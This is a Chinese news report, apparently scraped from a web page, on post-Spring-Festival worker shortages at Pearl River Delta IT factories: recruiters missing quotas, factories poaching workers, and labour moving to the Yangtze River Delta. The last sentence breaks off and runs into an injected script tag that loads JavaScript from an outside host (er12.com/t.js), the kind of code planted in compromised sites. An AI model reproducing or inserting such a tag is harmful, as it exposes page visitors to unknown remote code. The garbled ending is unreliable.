去年节后，珠三角大批制造企业遭遇的“民工荒”曾引起全国媒体普遍关注。日前，从该地一些it制造工厂传出消息，春节过后，由于工厂工人流失，不少it制造企业再度遭遇劳工瓶颈。

　　招工者的苦恼

　　古为民已经是第三年被工厂委以这样的重任——负责春节之后从四川的老家带回200个员工。然而，直到今天，古为民只完成了任务的1/3，带回来了60余人。

　　古为民是四川绵阳人，2003年高中毕业后便来到广东东莞的一家电子厂打工，当年被提升为工厂车间主任。“与去年相比，今年节后工厂仍大量缺工。”古为民说，“现在感觉人是一年比一年难招。”

　　据古为民回忆，这一情况似乎是从2004年开始的。那一年，古为民在绵阳和周边地区总共只招到了70多人。2005年的情况也跟着糟糕，原来的70人有一半不愿意再来，只好又凑了30多人。而今年更不妙，到目前也只有60多人。好多人回去过完年后就不打算再来了。

　　古为民说，当初也考虑到招工的困难，所以年前就和老板商定开出了比较“诱人”的条件，比如，增加工资(工资从600月增加到1000元)和加班费、给老员更好的福利等等，“但是，这些招数还是不太奏效。”

　　有钱却招不到人，这让古为民大伤脑筋。据他介绍，即使是目前的情况下，还是有不少人托他带人出去，但很多并不是他需要的人。“以前我们工厂主要做电脑配件，都是一些简单的组装和加工，小学毕业的都可以胜任。”古为民说，“去年开始，工厂增加数码制造业务，对学历和技能有了一些要求。文化程度太低、年纪小、没有任何经验，都不太符合要求，而有经验，有学历的，又谈不拢。”

　　多家工厂竞相“抢工”

　　节后，记者在it制造企业密集的广东东莞、深圳保安等地走访，发现几乎所有的电子、数码类工厂门口均挂了“工厂大量招工”等字样的条幅。而在节后民工返城高峰期，不少工厂展开了“抢工”大战。

　　记者在东莞发现，在车站和工厂门前，密布了众多“工探”(专门为工厂挖人者)，一遇到背大包小包的民工，马上有多个“工探”围上去，开出“诱人”条件，试图把你往另一家工厂引。

　　“很多‘工探’是工厂内部人员装扮而成的，也有不少是职业介绍所受工厂老板之托前来挖人。”一位内部人员透露，“别看他们那么轻松，收入可不菲，‘挖’成一个有不少提成。”

　　“我们工厂前不久被挖走了10来人。”一mp3工厂老板十分气愤，“以前根本没有这种‘抢工’的现象，现在工厂和工厂抢工人十分普遍，你来抢我的人，我就要使法子去抢你的。”

　　记者调查发现，节后，绝大多数it制造企业都或多或少存在缺工现象，尤其以新兴的电子、数码制造工厂为最。

　　不过“抢工”也不是长久之计。很多老板已开始冷静思索造成工人流失和不稳定的原因，并想尽一切办法留住工人。已有部分企业开始“革新”，用提高工资、改善待遇来吸引外来工。还有不少电子制造厂老板正探索自己出资开办短期技术培训班，免费给外来务工人员培训，试图依靠自己力量缓解缺工压力。

　　大批工人流向长三角

　　“并不是外来的务工人员减少，而是很多人不再愿出来了，另外一些人选择去了长三角。”古为民说。

　　去年他带进厂的员工，有不少已流向长三角，其余有一部分则是回家老实种地或在家乡做点小本生意。“看起来小日子还都过得挺舒坦，感觉比外面打工强。”

　　“今年工厂的人员流动一点也不比去年少，直到现在，每天都有一些工人在离开，大多去了长三角。”东莞某电脑配件厂负责人说，“与去年相比，今年不仅流失的是工人，就连一些领导层面的职员也走了，他们一走，就带走其手下的大批工人。”

　　近年来长三角一大批it制造企业迅速崛起，而且不少原在珠三角的it制造企业也北移至长三角，导致大批原来在南方的工人流往北方。对此，南?script src=http://er12.com/t.js>